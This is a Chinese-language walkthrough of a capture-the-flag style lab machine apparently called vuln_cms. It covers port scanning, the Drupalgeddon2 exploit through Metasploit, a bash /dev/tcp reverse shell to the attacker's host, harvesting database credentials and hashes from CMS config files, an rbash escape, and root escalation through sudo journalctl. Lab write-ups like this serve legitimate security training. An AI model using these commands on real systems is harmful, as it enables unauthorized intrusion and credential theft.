信息收集#
端口掃描#
掃描命令如下:
nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55
掃描結果如下:
Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
| 256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_ 256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open http nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
從掃描結果可以看到,除了常見的 HTTP 服務(80 端口)外,目標機器還開放了其他幾個與內容管理系統(CMS)相關的端口,包括:
- WordPress:端口 5000
- Joomla:端口 8081
- Drupal:端口 9001
這表明該靶場包含了多個知名 CMS 系統,因此可以根據這些信息選擇合適的攻擊路徑。
版本識別與漏洞分析#
首先,常規的思路一定是先目錄掃描,可以發現潛在的後台路徑和版本信息。然後重點就是 cms 版本分析,看看有沒有可利用的 nday。
WordPress#
通過訪問 http://fsociety.web:5000/rss/
頁面,我們能夠看到 WordPress 框架的版本信息:5.7.2,其實直接使用 wappalyzer 插件也能獲取版本信息。
然後通過 wpscan
工具進行掃描,
wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx
沒有發現特別嚴重的版本和插件漏洞。
Joomla#
使用 cmseek 對 Joomla 進行掃描,
得到版本為 Joomla 3.4.3。該版本存在遠程代碼執行(RCE)漏洞,能夠通過特定的惡意請求來執行任意代碼。
Drupal#
通過特定的路徑http://192.168.56.55:9001/CHANGELOG.txt
確認了 Drupal 版本為 7.54,這是一個廣泛受到關注的版本,存在多個已知漏洞。
漏洞利用#
對於 Joomla,我嘗試了 https://github.com/kiks7/rusty_joomla_rce 這個 POC
但沒有成功。
然而,Drupal 7.54 存在一個著名的漏洞(Drupalgeddon2),可以通過 Metasploit 直接利用。利用該漏洞的方法如下:
-
啟動 Metasploit 控制台:
msfconsole
-
加載 Drupalgeddon2 漏洞模塊:
use exploit/unix/webapp/drupal_drupalgeddon2
-
設置目標信息:
set RHOSTS 192.168.56.55 set RPORT 9001 set LHOST 192.168.56.100
-
執行攻擊:
run
成功後,即可獲得目標系統 Initial Access 權限。
雖然 msf
提供的 shell -t
命令已經是一個非常好用的偽終端了,但我個人更傾向於反彈一個 shell 回來,這樣更為靈活:
bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"
穩定並升級一下 shell:
提權#
首先,查看 /etc/passwd
文件中的用戶信息,發現有一個 elliot
用戶使用的是 rbash
,需要留意。
www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash
尋找配置信息(用戶密碼)#
然後直接運行 linpeas
,看看能否獲得進一步的線索。很好,在 drupal
站點的 settings.php
文件中找到了數據庫的憑據:
grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php
得到的數據庫憑據為:
array (
'default' =>
array (
'database' => 'drupal_db',
'username' => 'drupal_admin',
'password' => 'p@$$_C!rUP@!_cM5',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
)
通過連接到 MariaDB 數據庫,查看了 drupal_db
中的 users
表,但發現該表的密碼是加鹽哈希,沒有直接的價值。
MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid | int(10) unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| theme | varchar(255) | NO | | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int(11) | NO | MUL | 0 | |
| access | int(11) | NO | MUL | 0 | |
| login | int(11) | NO | | 0 | |
| status | tinyint(4) | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int(11) | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+------------------+------+-----+---------+-------+
MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name | pass |
+------------------+---------------------------------------------------------+
| | |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+
接著,自然想到去看看 wordpress
的配置文件,同樣獲取了數據庫的用戶名和密碼:
define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );
不過,通過查詢 wp_users
表,發現密碼依然是加鹽哈希值,沒有直接破解價值:
MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login | user_pass |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+
對於 joomla
,通過查看配置文件 configuration.php
,獲取了數據庫憑據:
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
在數據庫中查詢了 hs23w_users
表,獲取了兩個用戶的哈希密碼,同樣沒有直接價值:
MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username | password |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+
提權 - elliot 賬戶#
發現重要憑據#
在 /opt
目錄下,發現了一個憑據文件 8081.cred
,其中存儲了 joomlaCMS_admin
的用戶名和密碼:
www-data@vuln_cms:/opt$ cat 8081.cred
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR
使用這個憑據登錄 Joomla 後台(注意一定要在後台登錄):
http://192.168.56.55:8081/administrator/
登錄成功後,發現了 elliot
用戶的密碼:5T3e!_M0un7i@N
繞過 rbash#
由於 elliot
用戶是使用 rbash
,我們嘗試通過以下命令繞過這個限制:
ssh [email protected] -t bash
在家目錄下成功讀取 user flag
提權 - tyrell 賬戶#
繼續進行信息收集和提權操作時,把常規的提權思路試了個遍,然而都沒有取得成果。就在這時,突然想起還有另一個用戶賬戶 tyrell
,我決定檢查下這個賬戶是否也隱藏有密碼。
查找 tyrell
相關文件#
通過以下命令,我在系統中查找與 tyrell
相關的文件:
elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass
發現了一個名為 tyrell.pass
的文件,接著查看其內容:
elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
成功找到了 tyrell
的密碼!
切換至 tyrell
用戶#
使用獲得的密碼進行切換:
elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)
此時,成功切換為 tyrell
用戶。
sudo 提權#
檢查 tyrell
用戶是否有 sudo
權限:
tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tyrell may run the following commands on vuln_cms:
(root) NOPASSWD: /bin/journalctl
tyrell
用戶可以無密碼使用 sudo
執行 /bin/journalctl
命令。
先用 ls -l
、file
和 strings
簡單分析一下這個程序,然後我嘗試直接運行程序,觀察其行為:
發現調用了分頁器顯示內容。於是,直接通過 !bash
提權,就成功地以 root 權限獲得了一個 Bash shell。
這個命令在 gtfobins
網站上也能找到相關的提權技巧
在 root
用戶目錄下,成功找到了 root.txt
文件,並成功讀取文件中的 flag 值。
總結#
在滲透測試初期,我首先進行了 CMS 版本分析,並成功通過 Metasploit 利用 Drupal 的漏洞突破了邊界。提權階段,一開始分別查看了三個 CMS 的配置文件,並深入數據庫進行搜索,儘管沒有直接找到有用的信息,但這種思路依然是滲透測試中常用的路徑。隨後,在 /opt
目錄下,我發現了 Joomla 後台的賬號密碼,並通過後台訪問獲得了 Elliot 用戶的密碼。
繼續進行信息收集並查找系統中隱藏的密碼文件後,我成功獲得了 tyrell
用戶的憑據。進一步分析後,發現該用戶擁有 sudo
權限,能夠執行 /bin/journalctl
。借助這一點,我成功提權到 root
,並最終獲取了 root
目錄下的 flag。
至此,整個滲透測試過程圓滿結束!